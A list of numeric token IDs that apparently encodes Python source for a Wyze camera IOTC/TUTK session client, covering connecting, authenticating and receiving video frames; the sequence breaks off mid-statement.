9641,
29889,
2557,
13,
19499,
16032,
2392,
29901,
13,
1678,
1029,
353,
6213,
13,
13,
2202,
29901,
13,
1678,
1053,
13850,
29906,
13,
19499,
16032,
2392,
29901,
13,
1678,
13850,
29906,
353,
6213,
13,
13,
2202,
29901,
13,
1678,
1053,
12655,
408,
7442,
13,
19499,
16032,
2392,
29901,
13,
1678,
7442,
353,
6213,
29871,
396,
1134,
29901,
11455,
13,
13,
3166,
5018,
17938,
314,
29889,
29873,
329,
29895,
1053,
7149,
29895,
13,
3166,
5018,
17938,
314,
29889,
29873,
329,
29895,
29889,
29873,
329,
29895,
29918,
601,
16948,
29918,
29885,
1314,
1053,
323,
329,
29895,
5971,
18069,
29924,
1314,
13,
3166,
5018,
17938,
314,
29889,
29873,
329,
29895,
29889,
29873,
329,
29895,
29918,
20464,
1053,
313,
13,
1678,
476,
29896,
29900,
29900,
29900,
29900,
17918,
3089,
29892,
13,
1678,
476,
29896,
29900,
29900,
29945,
29953,
2697,
12375,
1747,
21591,
29892,
13,
1678,
10049,
29918,
517,
29918,
601,
24220,
29918,
29896,
29900,
29900,
29900,
29896,
29892,
13,
29897,
13,
13,
13,
1990,
10167,
911,
29902,
2891,
29907,
29901,
13,
1678,
9995,
29956,
29891,
911,
306,
2891,
29907,
27130,
29892,
1304,
304,
3386,
474,
327,
29883,
29918,
29879,
10964,
13,
13,
1678,
910,
1203,
881,
6892,
367,
1304,
2768,
263,
3030,
8455,
29892,
474,
29889,
29872,
4898,
13,
13,
1678,
7521,
4691,
13,
1678,
411,
10167,
911,
29902,
2891,
29907,
580,
408,
5018,
911,
29901,
13,
4706,
411,
5018,
911,
29889,
6915,
29918,
392,
29918,
5150,
29898,
10149,
29892,
10656,
29897,
408,
4867,
29901,
13,
9651,
2023,
29871,
396,
3638,
8260,
304,
278,
10656,
29892,
769,
1369,
24820,
13,
1678,
7521,
13,
13,
1678,
584,
1707,
7149,
29895,
29918,
12120,
29918,
1982,
29901,
278,
14407,
274,
3489,
1304,
304,
23120,
411,
278,
5018,
911,
13,
462,
9651,
4742,
29936,
1074,
518,
29893,
12339,
687,
314,
29889,
29873,
329,
29895,
29889,
29873,
329,
29895,
29889,
1359,
29918,
5258,
29962,
2636,
13,
1678,
584,
1707,
318,
6099,
29918,
637,
29901,
278,
501,
11191,
2011,
1304,
373,
445,
4933,
363,
12084,
411,
5018,
911,
3949,
18464,
373,
278,
1021,
3564,
13,
1678,
584,
29894,
442,
668,
318,
6099,
29918,
637,
29901,
938,
13,
1678,
584,
1707,
4236,
29918,
1949,
29918,
485,
29918,
305,
12629,
29901,
278,
7472,
1353,
310,
16991,
681,
21396,
445,
1203,
11286,
29889,
13,
1678,
584,
29894,
442,
668,
4236,
29918,
1949,
29918,
485,
29918,
305,
12629,
29901,
938,
13,
1678,
584,
1707,
1873,
29901,
278,
1873,
310,
278,
563,
708,
1847,
421,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29952,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
13,
4706,
1583,
29892,
13,
4706,
7149,
29895,
29918,
12120,
29918,
1982,
29901,
28379,
29961,
19986,
29961,
710,
29892,
7307,
2208,
5262,
353,
6213,
29892,
13,
4706,
318,
6099,
29918,
637,
29901,
28379,
29961,
524,
29962,
353,
6213,
29892,
13,
4706,
4236,
29918,
1949,
29918,
485,
29918,
305,
12629,
29901,
28379,
29961,
524,
29962,
353,
6213,
29892,
13,
1678,
1723,
1599,
6213,
29901,
13,
4706,
9995,
1168,
4984,
263,
10167,
911,
29902,
2891,
29907,
4867,
1203,
13,
13,
4706,
887,
881,
871,
1653,
697,
310,
1438,
472,
263,
931,
29889,
13,
13,
4706,
584,
3207,
7149,
29895,
29918,
12120,
29918,
1982,
29901,
450,
14407,
274,
3489,
313,
3166,
7149,
29895,
29889,
1359,
29918,
5258,
25739,
470,
278,
2224,
13,
462,
462,
29871,
304,
445,
3489,
29889,
13,
4706,
584,
3207,
318,
6099,
29918,
637,
29901,
12048,
1598,
263,
501,
11191,
2011,
29889,
16968,
501,
11191,
2011,
338,
1304,
565,
372,
338,
6790,
408,
29871,
29900,
29889,
13,
4706,
584,
3207,
4236,
29918,
1949,
29918,
485,
29918,
305,
12629,
29901,
450,
4236,
1353,
310,
16884,
18196,
29889,
960,
372,
338,
6790,
13,
462,
462,
1678,
3109,
1135,
29871,
29896,
29892,
16884,
674,
731,
4236,
1353,
310,
16884,
18196,
408,
29871,
29896,
29889,
13,
13,
4706,
9995,
13,
4706,
565,
7149,
29895,
29918,
12120,
29918,
1982,
338,
6213,
29901,
13,
9651,
7149,
29895,
29918,
12120,
29918,
1982,
353,
7149,
29895,
29889,
1359,
29918,
5258,
580,
13,
4706,
565,
338,
8758,
29898,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29892,
851,
1125,
13,
9651,
2224,
353,
2224,
1982,
29889,
2605,
29898,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29897,
13,
9651,
7149,
29895,
29918,
12120,
29918,
1982,
353,
7149,
29895,
29889,
1359,
29918,
5258,
29898,
710,
29898,
2084,
29889,
23552,
22130,
13,
13,
4706,
1583,
29889,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29901,
7307,
2208,
353,
7149,
29895,
29918,
12120,
29918,
1982,
13,
4706,
1583,
29889,
2344,
29881,
353,
7700,
13,
4706,
1583,
29889,
566,
29886,
29918,
637,
353,
318,
6099,
29918,
637,
13,
4706,
1583,
29889,
3317,
29918,
1949,
29918,
485,
29918,
305,
12629,
353,
4236,
29918,
1949,
29918,
485,
29918,
305,
12629,
13,
13,
1678,
822,
11905,
29898,
1311,
1125,
13,
4706,
9995,
6644,
6646,
278,
14407,
323,
2692,
29968,
3489,
13,
13,
4706,
910,
338,
2000,
6336,
491,
278,
3030,
8455,
29892,
13,
4706,
322,
881,
871,
367,
2000,
565,
366,
24042,
304,
7522,
4386,
13,
4706,
5941,
786,
310,
445,
4413,
7788,
313,
1609,
5432,
316,
24926,
13,
4706,
746,
2309,
411,
372,
14366,
13,
4706,
9995,
13,
4706,
565,
1583,
29889,
2344,
29881,
29901,
13,
9651,
736,
13,
4706,
1583,
29889,
2344,
29881,
353,
5852,
13,
13,
4706,
4589,
1217,
353,
7149,
29895,
29889,
24414,
29883,
29918,
24926,
29898,
13,
9651,
1583,
29889,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29892,
318,
6099,
29918,
637,
29922,
1311,
29889,
566,
29886,
29918,
637,
470,
29871,
29900,
13,
4706,
1723,
13,
4706,
565,
4589,
1217,
529,
29871,
29900,
29901,
13,
9651,
12020,
7149,
29895,
29889,
29911,
329,
29895,
2392,
29898,
3127,
1217,
29897,
13,
13,
4706,
3935,
29918,
1949,
29918,
305,
550,
353,
7149,
29895,
29889,
485,
29918,
24926,
29898,
13,
9651,
1583,
29889,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29892,
4236,
29918,
1949,
29918,
305,
12629,
29922,
1311,
29889,
3317,
29918,
1949,
29918,
485,
29918,
305,
12629,
13,
4706,
1723,
13,
4706,
565,
3935,
29918,
1949,
29918,
305,
550,
529,
29871,
29900,
29901,
13,
9651,
12020,
7149,
29895,
29889,
29911,
329,
29895,
2392,
29898,
3127,
1217,
29897,
13,
13,
4706,
1583,
29889,
3317,
29918,
1949,
29918,
485,
29918,
305,
12629,
353,
3935,
29918,
1949,
29918,
305,
550,
13,
13,
1678,
822,
316,
24926,
29898,
1311,
1125,
13,
4706,
9995,
2772,
24926,
278,
14407,
323,
2692,
29968,
3489,
13,
13,
4706,
910,
338,
2000,
6336,
491,
278,
3030,
8455,
13,
4706,
9995,
13,
4706,
7149,
29895,
29889,
485,
29918,
311,
24926,
29898,
1311,
29889,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29897,
13,
4706,
7149,
29895,
29889,
24414,
29883,
29918,
311,
24926,
29898,
1311,
29889,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29897,
13,
13,
1678,
732,
6799,
13,
1678,
822,
1873,
29898,
1311,
1125,
13,
4706,
9995,
2577,
278,
1873,
310,
278,
14407,
323,
2692,
29968,
3489,
15945,
29908,
13,
4706,
736,
7149,
29895,
29889,
24414,
29883,
29918,
657,
29918,
3259,
29898,
1311,
29889,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29897,
13,
13,
1678,
822,
4770,
5893,
12035,
1311,
1125,
13,
4706,
1583,
29889,
24926,
580,
13,
4706,
736,
1583,
13,
13,
1678,
822,
4770,
13322,
12035,
1311,
29892,
5566,
29918,
1853,
29892,
5566,
29918,
791,
29892,
5566,
29918,
22625,
1125,
13,
4706,
1583,
29889,
311,
24926,
580,
13,
13,
1678,
822,
4511,
29918,
392,
29918,
5150,
29898,
13,
4706,
1583,
29892,
3633,
29901,
10167,
911,
10601,
29892,
10656,
29901,
10167,
911,
20717,
13,
1678,
1723,
1599,
376,
29956,
29891,
911,
29902,
2891,
29907,
7317,
1115,
13,
4706,
9995,
6644,
6646,
263,
716,
474,
327,
29883,
4867,
411,
278,
6790,
10656,
29892,
322,
3633,
2472,
29889,
13,
13,
4706,
450,
1121,
310,
445,
1158,
881,
367,
1304,
408,
263,
3030,
8455,
29892,
474,
29889,
29872,
29889,
773,
278,
525,
2541,
29915,
13,
4706,
13553,
29889,
29871,
910,
6511,
502,
304,
6336,
5941,
701,
1156,
591,
29915,
276,
2309,
411,
278,
4867,
29901,
13,
13,
4706,
7521,
4691,
13,
4706,
411,
10167,
911,
29902,
2891,
29907,
580,
408,
474,
327,
29883,
29901,
13,
9651,
411,
474,
327,
29883,
29889,
6915,
29918,
392,
29918,
5150,
29898,
10149,
29892,
10656,
29897,
408,
4867,
29901,
13,
18884,
2023,
29871,
396,
3638,
5285,
8260,
29892,
470,
4840,
4863,
515,
278,
4867,
29889,
13,
4706,
7521,
13,
13,
4706,
2823,
518,
29956,
29891,
911,
29902,
2891,
29907,
7317,
850,
6995,
24414,
29883,
29918,
7924,
4551,
363,
901,
5235,
29889,
13,
13,
4706,
584,
3207,
3633,
29901,
278,
3633,
1203,
4133,
515,
518,
29893,
12339,
687,
314,
29889,
2754,
29889,
657,
29918,
1792,
29918,
3888,
29962,
2636,
13,
4706,
584,
3207,
10656,
29901,
278,
10656,
1203,
4133,
515,
518,
29893,
12339,
687,
314,
29889,
2754,
29889,
657,
29918,
26065,
29918,
1761,
29962,
2636,
13,
4706,
584,
18280,
29901,
530,
1203,
15783,
278,
10167,
911,
306,
2891,
29907,
16441,
29892,
263,
518,
29956,
29891,
911,
29902,
2891,
29907,
7317,
850,
6995,
24414,
29883,
29918,
7924,
4551,
13,
4706,
9995,
13,
4706,
736,
10167,
911,
29902,
2891,
29907,
7317,
29898,
1311,
29889,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29892,
3633,
29892,
10656,
29897,
13,
13,
13,
1990,
10167,
911,
29902,
2891,
29907,
7317,
2792,
29898,
18605,
29889,
2928,
16854,
1125,
13,
1678,
9995,
2744,
14115,
20766,
278,
1950,
5922,
310,
263,
10167,
911,
29902,
2891,
29907,
7317,
15945,
29908,
13,
13,
1678,
28657,
6007,
8186,
1783,
3352,
353,
29871,
29900,
13,
1678,
9995,
3664,
3447,
6631,
15945,
29908,
13,
13,
1678,
306,
2891,
29907,
29918,
6007,
8186,
1783,
4214,
353,
29871,
29896,
13,
1678,
9995,
7583,
368,
15661,
304,
4511,
278,
306,
2891,
29907,
4867,
15945,
29908,
13,
13,
1678,
16884,
29918,
6007,
8186,
1783,
4214,
353,
29871,
29906,
13,
1678,
9995,
7583,
368,
15661,
304,
4511,
278,
16884,
4867,
15945,
29908,
13,
13,
1678,
8707,
8186,
1783,
3352,
353,
29871,
29941,
13,
1678,
9995,
29943,
352,
368,
6631,
304,
278,
10656,
29892,
541,
505,
451,
3447,
16388,
304,
15585,
403,
15945,
29908,
13,
13,
1678,
8707,
8186,
1783,
4214,
29918,
4519,
29902,
20566,
353,
29871,
29946,
13,
1678,
9995,
5350,
5229,
29892,
694,
5520,
6631,
15945,
29908,
13,
13,
1678,
26524,
29950,
3919,
2965,
1299,
4214,
353,
29871,
29945,
13,
1678,
9995,
4165,
3456,
292,
304,
15585,
403,
15945,
29908,
13,
13,
1678,
26524,
29950,
3919,
28541,
29918,
14605,
4174,
17896,
2287,
29928,
353,
29871,
29953,
13,
1678,
9995,
29943,
352,
368,
6631,
322,
15585,
630,
15945,
29908,
13,
13,
1678,
26524,
29950,
3919,
28541,
29918,
4519,
29902,
20566,
353,
29871,
29955,
13,
1678,
9995,
16746,
5229,
29892,
694,
5520,
6631,
15945,
29908,
13,
13,
13,
1990,
10167,
911,
29902,
2891,
29907,
7317,
29901,
13,
1678,
9995,
2744,
306,
2891,
29907,
4867,
1203,
29892,
1304,
363,
7212,
1218,
411,
10167,
911,
3949,
18464,
13,
13,
1678,
910,
338,
13319,
515,
263,
10167,
911,
29902,
2891,
29907,
1203,
29901,
13,
13,
1678,
7521,
4691,
13,
1678,
411,
10167,
911,
29902,
2891,
29907,
580,
408,
5018,
911,
29901,
13,
4706,
411,
5018,
911,
29889,
6915,
29918,
392,
29918,
5150,
29898,
10149,
29892,
10656,
29897,
408,
4867,
29901,
13,
9651,
2023,
29871,
396,
3638,
5285,
8260,
29892,
470,
4840,
4863,
13,
1678,
7521,
13,
13,
1678,
2398,
29892,
366,
508,
3386,
372,
7522,
29892,
607,
508,
367,
8444,
565,
366,
24042,
304,
731,
263,
13,
1678,
1422,
3515,
2159,
470,
2586,
10492,
1135,
278,
21274,
29901,
13,
13,
1678,
7521,
4691,
13,
1678,
411,
10167,
911,
29902,
2891,
29907,
7317,
29898,
1982,
29892,
3633,
29892,
10656,
29892,
2586,
10492,
29922,
29873,
329,
29895,
29889,
22698,
29934,
3040,
29918,
7230,
29897,
13,
4706,
2023,
13,
1678,
7521,
13,
13,
1678,
1405,
3579,
9842,
29901,
1068,
10167,
911,
29902,
2891,
29907,
7317,
338,
9146,
304,
367,
1304,
408,
263,
3030,
8455,
29889,
29871,
13466,
29892,
13,
1678,
1405,
1678,
366,
674,
817,
304,
7522,
2649,
278,
4867,
304,
4511,
322,
15585,
403,
29892,
491,
5432,
13,
1678,
1405,
1678,
4867,
3032,
6915,
580,
5643,
491,
4867,
3032,
5150,
3285,
322,
4867,
3032,
2218,
6915,
580,
746,
366,
29915,
276,
13,
1678,
1405,
1678,
7960,
304,
766,
6915,
278,
4867,
29889,
13,
13,
1678,
584,
1707,
7149,
29895,
29918,
12120,
29918,
1982,
29901,
450,
14407,
274,
3489,
313,
3166,
518,
29873,
329,
29895,
29889,
1359,
29918,
5258,
3816,
29893,
12339,
687,
314,
29889,
29873,
329,
29895,
29889,
29873,
329,
29895,
29889,
1359,
29918,
5258,
2314,
13,
1678,
584,
1707,
3633,
29901,
319,
518,
29956,
29891,
911,
10601,
3816,
29893,
12339,
687,
314,
29889,
2754,
29918,
9794,
29889,
29956,
29891,
911,
10601,
29962,
2777,
29892,
1074,
13,
462,
1678,
518,
2754,
29889,
657,
29918,
1792,
29918,
3888,
3816,
29893,
12339,
687,
314,
29889,
2754,
29889,
657,
29918,
1792,
29918,
3888,
29962,
13,
1678,
584,
1707,
10656,
29901,
319,
518,
29956,
29891,
911,
20717,
3816,
29893,
12339,
687,
314,
29889,
2754,
29918,
9794,
29889,
29956,
29891,
911,
20717,
29962,
2777,
29892,
1074,
13,
462,
259,
518,
2754,
29889,
657,
29918,
26065,
29918,
1761,
3816,
29893,
12339,
687,
314,
29889,
2754,
29889,
657,
29918,
26065,
29918,
1761,
29962,
13,
1678,
584,
1707,
16389,
29918,
2557,
29918,
2311,
29901,
450,
16389,
2159,
310,
278,
4863,
4840,
4133,
491,
278,
10656,
29889,
13,
462,
462,
2823,
518,
29893,
12339,
687,
314,
29889,
29873,
329,
29895,
29889,
29873,
329,
29895,
29889,
29943,
4717,
2303,
29918,
14226,
29918,
29896,
29900,
29947,
29900,
29925,
3816,
1822,
13,
1678,
584,
1707,
16389,
29918,
8844,
403,
29901,
450,
16389,
2586,
10492,
310,
278,
4863,
4840,
4133,
491,
278,
10656,
29889,
13,
462,
795,
2823,
518,
29893,
12339,
687,
314,
29889,
29873,
329,
29895,
29889,
29873,
329,
29895,
29889,
22698,
29934,
3040,
29918,
26124,
3816,
1822,
13,
1678,
584,
1707,
4867,
29918,
333,
29901,
450,
1178,
310,
445,
4867,
29892,
2748,
6631,
29889,
13,
1678,
584,
1707,
1029,
29918,
5083,
29918,
333,
29901,
450,
16884,
8242,
310,
445,
4867,
29892,
2748,
6631,
29889,
13,
1678,
584,
1707,
2106,
29901,
450,
1857,
3957,
2106,
310,
445,
4867,
29889,
29871,
2823,
13,
18884,
518,
29956,
29891,
911,
29902,
2891,
29907,
7317,
2792,
850,
6995,
24414,
29883,
29918,
7924,
29918,
3859,
12495,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
13,
4706,
1583,
29892,
13,
4706,
7149,
29895,
29918,
12120,
29918,
1982,
29901,
7307,
2208,
29892,
13,
4706,
3633,
29901,
10167,
911,
10601,
29892,
13,
4706,
10656,
29901,
10167,
911,
20717,
29892,
13,
4706,
3515,
29918,
2311,
29901,
938,
353,
7149,
29895,
29889,
29943,
4717,
2303,
29918,
14226,
29918,
29896,
29900,
29947,
29900,
29925,
29892,
13,
4706,
2586,
10492,
29901,
938,
353,
7149,
29895,
29889,
22698,
29934,
3040,
29918,
26124,
29892,
13,
1678,
1723,
1599,
6213,
29901,
13,
4706,
9995,
1168,
4984,
263,
5018,
911,
474,
327,
29883,
4867,
13,
13,
4706,
584,
3207,
7149,
29895,
29918,
12120,
29918,
1982,
29901,
450,
14407,
274,
3489,
313,
3166,
13,
462,
4706,
518,
29873,
329,
29895,
29889,
1359,
29918,
5258,
3816,
29893,
12339,
687,
314,
29889,
29873,
329,
29895,
29889,
29873,
329,
29895,
29889,
1359,
29918,
5258,
2314,
13,
4706,
584,
3207,
3633,
29901,
319,
518,
29956,
29891,
911,
10601,
3816,
29893,
12339,
687,
314,
29889,
2754,
29918,
9794,
29889,
29956,
29891,
911,
10601,
29962,
2777,
29892,
1074,
13,
462,
4706,
518,
2754,
29889,
657,
29918,
1792,
29918,
3888,
3816,
29893,
12339,
687,
314,
29889,
2754,
29889,
657,
29918,
1792,
29918,
3888,
29962,
13,
4706,
584,
3207,
10656,
29901,
319,
518,
29956,
29891,
911,
20717,
3816,
29893,
12339,
687,
314,
29889,
2754,
29918,
9794,
29889,
29956,
29891,
911,
20717,
29962,
2777,
29892,
1074,
13,
462,
539,
518,
2754,
29889,
657,
29918,
26065,
29918,
1761,
3816,
29893,
12339,
687,
314,
29889,
2754,
29889,
657,
29918,
26065,
29918,
1761,
29962,
13,
4706,
584,
3207,
3515,
29918,
2311,
29901,
12782,
1973,
278,
2159,
310,
278,
4863,
4840,
4133,
491,
278,
10656,
29889,
13,
462,
965,
2823,
518,
29893,
12339,
687,
314,
29889,
29873,
329,
29895,
29889,
29873,
329,
29895,
29889,
29943,
4717,
2303,
29918,
14226,
29918,
29896,
29900,
29947,
29900,
29925,
3816,
1822,
13,
4706,
584,
3207,
2586,
10492,
29901,
12782,
1973,
278,
2586,
10492,
310,
278,
4863,
4840,
4133,
491,
278,
10656,
29889,
13,
462,
4706,
2823,
518,
29893,
12339,
687,
314,
29889,
29873,
329,
29895,
29889,
29873,
329,
29895,
29889,
22698,
29934,
3040,
29918,
26124,
3816,
1822,
13,
4706,
9995,
13,
4706,
1583,
29889,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29901,
7307,
2208,
353,
7149,
29895,
29918,
12120,
29918,
1982,
13,
4706,
1583,
29889,
10149,
29901,
10167,
911,
10601,
353,
3633,
13,
4706,
1583,
29889,
26065,
29901,
10167,
911,
20717,
353,
10656,
13,
4706,
1583,
29889,
7924,
29918,
333,
29901,
28379,
29961,
29883,
29918,
524,
29962,
353,
6213,
13,
4706,
1583,
29889,
485,
29918,
5083,
29918,
333,
29901,
28379,
29961,
29883,
29918,
524,
29962,
353,
6213,
13,
4706,
1583,
29889,
3859,
29901,
10167,
911,
29902,
2891,
29907,
7317,
2792,
353,
10167,
911,
29902,
2891,
29907,
7317,
2792,
29889,
23711,
6007,
8186,
1783,
3352,
13,
13,
4706,
1583,
29889,
1457,
14373,
29918,
2557,
29918,
2311,
29901,
938,
353,
3515,
29918,
2311,
13,
4706,
1583,
29889,
1457,
14373,
29918,
8844,
403,
29901,
938,
353,
2586,
10492,
13,
13,
1678,
822,
4867,
29918,
3198,
29898,
1311,
29897,
1599,
7149,
29895,
29889,
29903,
3401,
19560,
29901,
13,
4706,
9995,
29965,
8485,
491,
263,
4742,
470,
263,
3132,
304,
1423,
278,
306,
2891,
29907,
4867,
5235,
29889,
13,
13,
4706,
319,
4742,
470,
263,
3132,
1122,
671,
445,
740,
304,
1423,
565,
278,
306,
2891,
29907,
4867,
338,
13,
4706,
1603,
18758,
408,
1532,
408,
2805,
278,
306,
2891,
29907,
4867,
5235,
29889,
13,
13,
4706,
584,
18280,
29901,
319,
5913,
29873,
329,
29895,
29889,
29903,
3401,
19560,
29952,
3816,
29893,
12339,
687,
314,
29889,
29873,
329,
29895,
29889,
29873,
329,
29895,
29889,
29903,
3401,
19560,
29962,
13,
4706,
9995,
13,
4706,
4974,
313,
13,
9651,
1583,
29889,
7924,
29918,
333,
338,
451,
6213,
13,
4706,
10353,
376,
12148,
1246,
903,
6915,
580,
1434,
4867,
29918,
3198,
25318,
13,
13,
4706,
4589,
401,
29892,
27937,
29918,
3888,
353,
7149,
29895,
29889,
24414,
29883,
29918,
7924,
29918,
3198,
29898,
13,
9651,
1583,
29889,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29892,
1583,
29889,
7924,
29918,
333,
13,
4706,
1723,
13,
4706,
565,
4589,
401,
529,
29871,
29900,
29901,
13,
9651,
12020,
7149,
29895,
29889,
29911,
329,
29895,
2392,
29898,
3127,
401,
29897,
13,
13,
4706,
736,
27937,
29918,
3888,
13,
13,
1678,
822,
474,
327,
24220,
29918,
29885,
1314,
29898,
1311,
29897,
1599,
323,
329,
29895,
5971,
18069,
29924,
1314,
29901,
13,
4706,
9995,
1168,
4984,
29879,
263,
716,
323,
329,
29895,
5971,
18069,
29924,
1314,
363,
445,
4867,
13,
13,
4706,
4803,
445,
304,
3638,
5285,
7191,
29892,
1316,
408,
1735,
278,
3949,
18464,
10104,
29889,
13,
13,
4706,
3940,
393,
366,
2845,
881,
7539,
278,
1121,
310,
445,
408,
263,
3030,
8455,
313,
4746,
13,
4706,
411,
511,
470,
1246,
1369,
29918,
1761,
8333,
580,
9479,
373,
278,
1121,
29889,
29871,
910,
8665,
263,
5004,
13,
4706,
3244,
19866,
363,
278,
20890,
515,
278,
10656,
29889,
13,
13,
4706,
7521,
4691,
13,
4706,
411,
4867,
29889,
601,
24220,
29918,
29885,
1314,
580,
408,
286,
1314,
29901,
13,
9651,
10191,
353,
7149,
29895,
29918,
20464,
29889,
29968,
29896,
29900,
29900,
29945,
29953,
2697,
12375,
1747,
21591,
29898,
13,
18884,
7149,
29895,
29889,
29943,
4717,
2303,
29918,
14226,
29918,
29896,
29900,
29947,
29900,
29925,
29892,
7149,
29895,
29889,
22698,
29934,
3040,
29918,
7230,
29897,
13,
9651,
5434,
353,
286,
1314,
29889,
6717,
29918,
601,
16948,
29898,
7645,
29897,
13,
9651,
4974,
5434,
29889,
2914,
580,
1275,
5852,
29892,
376,
7277,
2586,
10492,
5229,
3850,
13,
4706,
7521,
13,
13,
4706,
9995,
13,
4706,
4974,
1583,
29889,
485,
29918,
5083,
29918,
333,
338,
451,
6213,
29892,
376,
12148,
1246,
903,
6915,
580,
937,
3850,
13,
4706,
736,
323,
329,
29895,
5971,
18069,
29924,
1314,
29898,
1311,
29889,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29892,
1583,
29889,
485,
29918,
5083,
29918,
333,
29897,
13,
13,
1678,
822,
4770,
5893,
12035,
1311,
1125,
13,
4706,
1583,
3032,
6915,
580,
13,
4706,
1583,
3032,
5150,
580,
13,
4706,
736,
1583,
13,
13,
1678,
822,
4770,
13322,
12035,
1311,
29892,
5566,
29918,
1853,
29892,
5566,
29918,
791,
29892,
5566,
29918,
22625,
1125,
13,
4706,
1583,
3032,
2218,
6915,
580,
13,
13,
1678,
822,
1162,
29894,
29918,
9641,
29918,
1272,
29898,
13,
4706,
1583,
29892,
13,
1678,
1723,
1599,
20504,
1061,
29961,
23215,
552,
29961,
27636,
29961,
13193,
1402,
7149,
29895,
29889,
4308,
3401,
19560,
5262,
29901,
13,
4706,
9995,
29909,
15299,
363,
7863,
10650,
4863,
16608,
29991,
13,
13,
4706,
2648,
4256,
1218,
975,
278,
736,
995,
310,
445,
740,
29892,
366,
674,
13,
4706,
679,
10650,
4863,
3515,
848,
297,
278,
883,
310,
263,
6262,
1203,
29889,
29871,
910,
13,
4706,
338,
19192,
363,
17378,
278,
10650,
4863,
848,
1728,
2599,
13,
4706,
278,
664,
310,
1602,
3689,
470,
1301,
29883,
3689,
278,
3935,
4863,
8343,
29889,
29871,
960,
13,
4706,
366,
864,
304,
4078,
278,
4863,
304,
8086,
29892,
2479,
372,
29892,
470,
6467,
1889,
13,
4706,
278,
4863,
29892,
306,
10712,
6907,
773,
421,
3757,
29894,
29918,
9641,
29918,
2557,
29952,
470,
13,
4706,
421,
3757,
29894,
29918,
9641,
29918,
2557,
29918,
29876,
862,
764,
29952,
2012,
310,
445,
740,
29889,
13,
13,
4706,
450,
1473,
2944,
297,
278,
18761,
4133,
491,
445,
740,
29892,
525,
2557,
29918,
3888,
742,
338,
263,
5407,
13,
4706,
731,
310,
15562,
1048,
278,
3515,
408,
4133,
491,
278,
10656,
29889,
29871,
2823,
13,
4706,
518,
29873,
329,
29895,
29889,
4308,
3401,
19560,
3816,
29893,
12339,
687,
314,
29889,
29873,
329,
29895,
29889,
29873,
329,
29895,
29889,
4308,
3401,
19560,
29962,
363,
901,
4902,
1048,
13,
4706,
278,
8118,
310,
445,
1203,
29889,
13,
13,
4706,
3940,
393,
278,
3402,
310,
445,
848,
338,
2845,
10650,
298,
29906,
29953,
29946,
470,
379,
29963,
11206,
379,
29906,
29953,
29945,
4863,
29889,
887,
674,
13,
4706,
505,
304,
25956,
1103,
278,
3515,
29918,
3888,
1203,
304,
8161,
278,
3402,
29991,
13,
13,
13,
4706,
7521,
4691,
13,
4706,
411,
5018,
17938,
314,
29889,
29956,
29891,
911,
29902,
2891,
29907,
580,
408,
5018,
911,
29918,
24414,
29883,
29901,
13,
9651,
411,
5018,
911,
29918,
24414,
29883,
29889,
6915,
29918,
392,
29918,
5150,
29898,
10149,
29892,
10656,
29897,
408,
27937,
29901,
13,
18884,
363,
313,
2557,
29892,
3515,
29918,
3888,
29897,
297,
27937,
29889,
3757,
29894,
29918,
9641,
29918,
1272,
7295,
13,
462,
1678,
396,
437,
1554,
411,
278,
4863,
848,
29991,
4248,
13,
4706,
7521,
13,
13,
4706,
512,
1797,
304,
671,
445,
29892,
366,
674,
817,
304,
2601,
518,
19737,
7520,
850,
991,
597,
2272,
485,
29889,
990,
29914,
2640,
29914,
13844,
12495,
13,
13,
4706,
584,
18280,
29901,
319,
15299,
29892,
607,
746,
4256,
630,
975,
29892,
17498,
263,
18761,
6943,
278,
1602,
6797,
1967,
13,
462,
313,
294,
263,
518,
19737,
7520,
13987,
4308,
850,
991,
597,
2272,
485,
29889,
990,
29914,
2640,
29914,
13844,
29914,
2754,
29914,
9641,
29889,
1420,
29937,
485,
29889,
9641,
29889,
2557,
29889,
15167,
4308,
8243,
13,
462,
408,
1532,
408,
15562,
1048,
278,
3515,
313,
262,
278,
883,
310,
263,
13,
462,
518,
29873,
329,
29895,
29889,
4308,
3401,
19560,
3816,
29893,
12339,
687,
314,
29889,
29873,
329,
29895,
29889,
29873,
329,
29895,
29889,
4308,
3401,
19560,
14664,
13,
13,
13,
4706,
9995,
13,
4706,
4974,
1583,
29889,
485,
29918,
5083,
29918,
333,
338,
451,
6213,
29892,
376,
12148,
1246,
903,
6915,
580,
937,
3850,
13,
13,
4706,
1550,
5852,
29901,
13,
9651,
4589,
1217,
29892,
3515,
29918,
1272,
29892,
3515,
29918,
3888,
29892,
3515,
29918,
13140,
353,
7149,
29895,
29889,
485,
29918,
3757,
29894,
29918,
2557,
29918,
1272,
29898,
13,
18884,
1583,
29889,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29892,
1583,
29889,
485,
29918,
5083,
29918,
333,
13,
9651,
1723,
13,
9651,
565,
4589,
1217,
529,
29871,
29900,
29901,
13,
18884,
565,
4589,
1217,
1275,
7149,
29895,
29889,
7520,
29918,
1001,
29918,
14573,
29918,
6632,
16310,
29979,
29901,
13,
462,
1678,
931,
29889,
17059,
29898,
29896,
29889,
29900,
847,
29871,
29946,
29900,
29897,
13,
462,
1678,
6773,
13,
18884,
25342,
4589,
1217,
1275,
7149,
29895,
29889,
7520,
29918,
1001,
29918,
1177,
21514,
18476,
29918,
29943,
4717,
2303,
29901,
13,
462,
1678,
18116,
29889,
25442,
703,
29816,
28907,
3515,
1159,
13,
462,
1678,
6773,
13,
18884,
25342,
4589,
1217,
1275,
7149,
29895,
29889,
7520,
29918,
1001,
29918,
3927,
1660,
29928,
29918,
4690,
3235,
29918,
29943,
4717,
2303,
29901,
13,
462,
1678,
18116,
29889,
25442,
703,
29931,
520,
3515,
1159,
13,
462,
1678,
6773,
13,
18884,
1683,
29901,
13,
462,
1678,
12020,
7149,
29895,
29889,
29911,
329,
29895,
2392,
29898,
3127,
1217,
29897,
13,
9651,
4974,
3515,
29918,
3888,
338,
451,
6213,
29892,
376,
29954,
327,
694,
